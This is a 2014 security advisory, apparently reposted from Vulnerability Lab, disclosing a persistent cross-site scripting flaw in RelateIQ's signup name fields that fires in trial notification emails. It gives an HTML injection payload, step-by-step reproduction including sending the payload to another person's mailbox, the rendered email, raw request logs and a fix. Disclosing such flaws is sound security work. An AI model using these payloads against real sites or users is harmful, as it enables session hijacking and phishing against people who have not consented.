###########################

# RelateIQ Mail Encoding Persistent Signup Vulnerability

###########################

Document Title:
===============
RelateIQ Bug Bounty #1 - Persistent Signup Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1320

Video: http://www.vulnerability-lab.com/get_content.php?id=1332


Release Date:
=============
2014-12-02


Vulnerability Laboratory ID (VL-ID):
====================================
1320


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
RelateIQ, a subsidiary of Salesforce, is an American enterprise software company based in Palo Alto, California. The
company`s
software is a relationship intelligence platform that combines data from email systems, smartphone calls, and
appointments to
augment or replace standard relationship management tools or database solutions. It scans `about 10,000 emails, calendar
entries,
and other data points per minute at first run.

In July 2014, salesforce.com announced plans to acquire the company for close to $400 million. Industry insiders predict
that
the acquisition will bulk up salesforce.com`s data science offering, enabling the world`s #1 CRM provider to compete
amid rapidly
changing enterprise software requirements. One article on the acquisition states, `If RelateIQ fulfills its promises of
stopping
team members from accidentally emailing the same queries to clients or customers, or allows salespeople to decipher the
corporate
hierarchies of their potential contacts through algorithms, there could be some lasting changes to the world of sales.

RelateIQ is committed to working with security experts across the globe to stay up to date with the latest security
techniques.
If you have discovered a security issue that you believe we should know about, we`d welcome working with you. Please let
us know
about it and we`ll make every effort to quickly correct the issue.

(Copy of the Homepage: https://www.relateiq.com & http://en.wikipedia.org/wiki/RelateIQ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent mail encoding web vulnerability in the official
RelateIQ Company Web-Application 2014-Q4.


Vulnerability Disclosure Timeline:
==================================
2014-09-07: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-12-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
SalesForce
Product: RelateIQ - Web Application 2014 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent mail encoding web vulnerability has been discovered in the official RelateIQ Company Web-Application
2014-Q3.
The vulnerability allows to inject own malicious script codes on the application-side of the affected service
application.

The remote vulnerability is located in the first- and lastname values of the vulnerable relateiq website user profile
module.
Remote attackers are able to inject own script codes as payload to the first- and lastname value of a users profile.
After the
unverified registration the service captures internally the emails of the users and send back a notification to test the
service
after apply to register. The mail arrives at the registration website of the relateiq website with an automatic mailing
function.
In the outgoing email of the relateiq service are the stored profile values wrong encoded. The result is a persistent
execution
of the script code through the website web-application in the ougoing service notify mails like `let`s set up your
RelateIQ trial`.
In the header of the outgoing mail that arrives next to the introduction word `Hi` of the template the execution takes
place.
The issue can be exploited locally or by profile mail change to other unauthorized accounts through the RelateIQ site
web-application.
In all other location the mail body context is secure encoded. During the tests only in the trail notify service is
marked as vulnerable.
The attack vector of the vulnerability is located on the application-side of the web-server and the request method to
inject the
malicious script code is POST.

In the application itself is a xss protection and a xsrf token set to prevent manipulations like the mail encoding
issue. The mechnism
is set to parse malicious client-side and malicious application-side requests already in the frontend of the
application. In case of the
mail encoding issue the code went through the differnt secure functions without parse and executes at the end because of
wrong encoding
in another sections module.

The security risk of the persistent mail encoding vulnerability is estimated as medium with a cvss (common vulnerability
scoring system)
count of 3.4. Exploitation of the persistent vulnerability requires a low privileged web-application user account and
low user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external
redirects to malicious
source or persistent manipulation of affected or connected module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Signup (https://www.relateiq.com/sign-up)

Vulnerable Parameter(s):
[+] firstname
[+] lastname

Affected Module(s):
[+] let`s set up your RelateIQ trial


Proof of Concept (PoC):
=======================
The persistent mail encoding web vulnerability can be exploited by remote attackers with low privileged application user
account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to
continue.

PoC: Payload
%20"><"<img src="x">%20%20>"<iframe src=a>%20<iframe>


Manual steps to reproduce the vulnerability ...

1. Open your web browser (exp. mozilla firefox)
2. Open the trail registration website of the relateiq https://www.relateiq.com/sign-up
3. Register as user through the trail module service
Note: Inject own script codes as payload in registration for firstname and lastname values
4. Save the settings to register and login a first time
5. After a short period of time a notification mail with the `let's set up your RelateIQ trial` topic arrives
Note: The execution of the injected script code occurs in the arrived mail next to the introduction word `HI`
6. Successful local reproduce of the vulnerability!
7. Now, go to the user profile of the account and change the email of the profile by add
8. Change the email of the local profile to a remote mail as target and save the settings
9. The manipulated context runs through the relateIQ website web-application and executes in the postbox of the new
saved mail
10. Successful reproduce of the remote vulnerability!


PoC: Let's set up your RelateIQ trial - Mail Notification through WebServer

<html><head>
<title>"><"<img, let's set up your RelateIQ trial</title>
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">
</head>
<body>
<table class="header-part1" border="0" width="100%" cellpadding="0"
cellspacing="0"><tbody><tr><td><b>Betreff: </b>"><"<img,
let's set up your RelateIQ trial</td></tr><tr><td><b>Von: </b>Nakul Narayan
<nakul@relateiq.com></td></tr><tr><td><b>Datum: </b>
08.09.2014 17:00</td></tr></tbody></table><table class="header-part2"
border="0" width="100%" cellpadding="0" cellspacing="0">
<tbody><tr><td><b>An:
</b>admin@vulnerability-lab.com</td></tr></tbody></table><br>

<title>Your Email Title</title>
<div style="font:14px tahoma; width:100%; " class="mktEditable"
id="edit_text"><div class="mktEditable" id="column_text">
<p><span id="docs-internal-guid-ac061c64-104e-912d-076d-44ae7e4a003f"> </span></p>
<p dir="ltr"><span> </span></p>
<p dir="ltr">Hi "><"<[PERSISTENT INJECTED SCRIPT CODE VIA FIRST-&LASTNAME
VALUES]>%20<iframe>,</p>
<p dir="ltr"><span>I hope things are going well now that you're a few days into your RelateIQ
trial. Iââ¬â¢m a resource to make
sure you make the most of your next 27 days. Do you have any questions regarding the platform or are you already smooth
sailing?</span></p>
<p><span>Let me know how I can add value.</span></p>
<p><span>Best,</span></p>
<p><span>Nakul Narayan<br />650-666-0769| nakul@relateiq.com<br
/></span></p></div>
</div>
<IMG
SRC="http://go.relateiq.com/trk?t=1&mid=ODAwLU1XVS0zNzQ6NDY3NDoxNjUxOjM5Mjc6MDoyMzE2Ojc6MjY2ODM2OmFkbWluQHZ1bG5
lcmFiaWxpdHktbGFiLmNvbQ%3D%3D"
WIDTH="1" HEIGHT="1" BORDER="0" ALT="" /><p><font
face="Verdana" size="1">This email was sent to admin@vulnerability-lab.com. If you no longer wish

to receive these emails you may <a
href="http://go.relateiq.com/u/s02Z0g00pWdQ0M071O30m0U">unsubscribe</a> at any time. </font>
</p>
</body></html></body>
</html>
</iframe></p></div></div></body></html>


--- PoC Session Logs [POST] (Registration) ---
19:23:50.564[1389ms][total 1389ms] Status: 302[Found]
POST https://info.relateiq.com/index.php/leadCapture/save Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Gr&#195;&#182;&#195;Ÿe des Inhalts[106] Mime Type[text/html]
Request Header:
Host[info.relateiq.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://www.relateiq.com/sign-up]
Cookie[_ga=GA1.2.898430886.1410189135;
optimizelySegments=%7B%22827991865%22%3A%22false%22%2C%22828702118%22%3A%22referral%22%2C%22828011871%22%3A%22ff%22%7D;
optimizelyEndUserId=oeu1410189136698r0.49006511741519143; optimizelyBuckets=%7B%7D;
brto=20a220aed5055d302ef04c1e4fe50741; _mkto_trk=id:800-MWU-374&token:_mch-relateiq.com-1410189136773-61452;
__utma=68623378.898430886.1410189135.1410189362.1410193367.3; __utmc=68623378;
__utmz=68623378.1410193367.3.3.utmcsr=hackerone.com|utmccn=(referral)|utmcmd=referral|utmcct=/relateiq;
BIGipServersj04web-ssl5_https=1393164298.47873.0000; __utmb=68623378.26.10.1410193367; _dc_gtm_UA-25227107-2=1;
mp_cbf11c45fd9c51dfa90fe77aa4861a68_mixpanel=%7B%22distinct_id%22%3A%20%2214855d6d18d11b-0bf8f6ccbc2c52-41534336-1fa400-
14855d6d18e92%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fwww.relateiq.com%2Faccount%22%2C%22%24initial_referri
ng_domain%22%3A%20%22www.relateiq.com%22%7D]
Connection[keep-alive]
POST-Daten:
FirstName[%22%22img+src%3D%22x%22%2520%2520%22iframe+src%3Da%2520iframe]
LastName[%22%22img+src%3D%22x%22%2520%2520%22iframe+src%3Da%2520iframe]
Email[bkm%40evolution-sec.com]
Phone[42341412512124]
_marketo_comments[]
lpId[-1]
email_system[Google+Apps]
LeadSource[RIQ+Website]
subId[137]
munchkinId[800-MWU-374]
kw[]
cr[]
searchstr[]
lpurl[https%3A%2F%2Finfo.relateiq.com%2FContactUs_temp.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]
formid[1002]
returnLPId[-1]
returnURL[https%3A%2F%2Fwww.relateiq.com%2Faccount]
retURL[https%3A%2F%2Fwww.relateiq.com%2Faccount]
_mkt_disp[return]
_mkt_trk[]
Response Header:
Date[Mon, 08 Sep 2014 17:24:35 GMT]
Server[Apache]
Location[https://www.relateiq.com/account]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[106]
Connection[Keep-Alive]
Content-Type[text/html]
-
19:23:51.964[0ms][total 0ms] Status: pending[]
GET https://www.relateiq.com/account Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ]
Gr&#195;&#182;&#195;Ÿe des Inhalts[unknown] Mime Type[unknown]
Request Header:
Host[www.relateiq.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[https://www.relateiq.com/sign-up]
Cookie[_ga=GA1.2.898430886.1410189135;
optimizelySegments=%7B%22827991865%22%3A%22false%22%2C%22828702118%22%3A%22referral%22%2C%22828011871%22%3A%22ff%22%7D;

optimizelyEndUserId=oeu1410189136698r0.49006511741519143; optimizelyBuckets=%7B%7D;
brto=20a220aed5055d302ef04c1e4fe50741;
_mkto_trk=id:800-MWU-374&token:_mch-relateiq.com-1410189136773-61452; wcsid=16ommSuyCYswH0Yt9A8Lb5P3JNA2XXWA;
hblid=jRftQq9No6oroci19A8Lb5P3JN7yHJNB;
_oklv=1410196980951%2C16ommSuyCYswH0Yt9A8Lb5P3JNA2XXWA; olfsk=olfsk8923002152136381;
_okbk=cd5%3Daway%2Cwa1%3Dtrue%2Ccd4%3Dtrue%2Cvi5%3D0%2Cvi4%3D1410189139993%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2C
cd8%3Dchat%2Ccd6%3D0%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C;
_ok=7196-992-10-8729; _okac=08e9c038f5b55f07031acd986d16f550; _okla=1;
__utma=68623378.898430886.1410189135.1410189362.1410193367.3;
__utmc=68623378; __utmz=68623378.1410193367.3.3.utmcsr=hackerone.com|utmccn=(referral)|utmcmd=referral|utmcct=/relateiq;
__utmb=68623378.26.10.1410193367;
_dc_gtm_UA-25227107-2=1;
mp_cbf11c45fd9c51dfa90fe77aa4861a68_mixpanel=%7B%22distinct_id%22%3A%20%2214855d6d18d11b-0bf8f6ccbc2c52-41534336-1fa400-

14855d6d18e92%22%2C%22%24initial_referrer%22%3A%20%22https%3A%2F%2Fwww.relateiq.com%2Faccount%22%2C%22%24initial_referri
ng_domain%22%3A%20%22www.relateiq.com%22%7D]
-
Status: 200[OK] GET https://app.relateiq.com/#/register - 200
Content-Disposition=attachment
Content-Type=application/json; charset=utf-8
Date=Mon, 08 Sep 2014 17:24:42 GMT
Server=nginx
Strict-Transport-Security=max-age=31536000
X-Frame-Options=SAMEORIGIN, SAMEORIGIN
X-XSS-Protection=1; mode=block
Content-Length=45
Connection=keep-alive


Reference(s): Urls
https://info.relateiq.com/index.php/leadCapture/save
https://www.relateiq.com/sign-up
https://app.relateiq.com/#/register
https://www.relateiq.com/account
http://go.relateiq.com/trk?t=1&mid=ODAwLU1XVS0zNzQ6NDY3NDoxNjUxOjM5Mjc6MDoyMzE2Ojc6MjY2ODM2OmFkbWluQHZ1bG5lcmFiaWxpd
HktbGFiLmNvbQ%3D%3D


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the firstname and lastname values in the user profile.
Restrict the input and disallow special char. Encode the db stored profile values in outgoing emails to prevent further
execution of persistent script codes.


Security Risk:
==============
The security risk of the persistent mail encoding web vulnerability in the relateiq web-application is estimated as
medium (cvss 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all
warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or
its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special
damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or
limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to
break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability
Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or
edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright 2014 | Vulnerability Laboratory - [Evolution Security GmbH]ââ&#162;



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2014-12-18]

###########################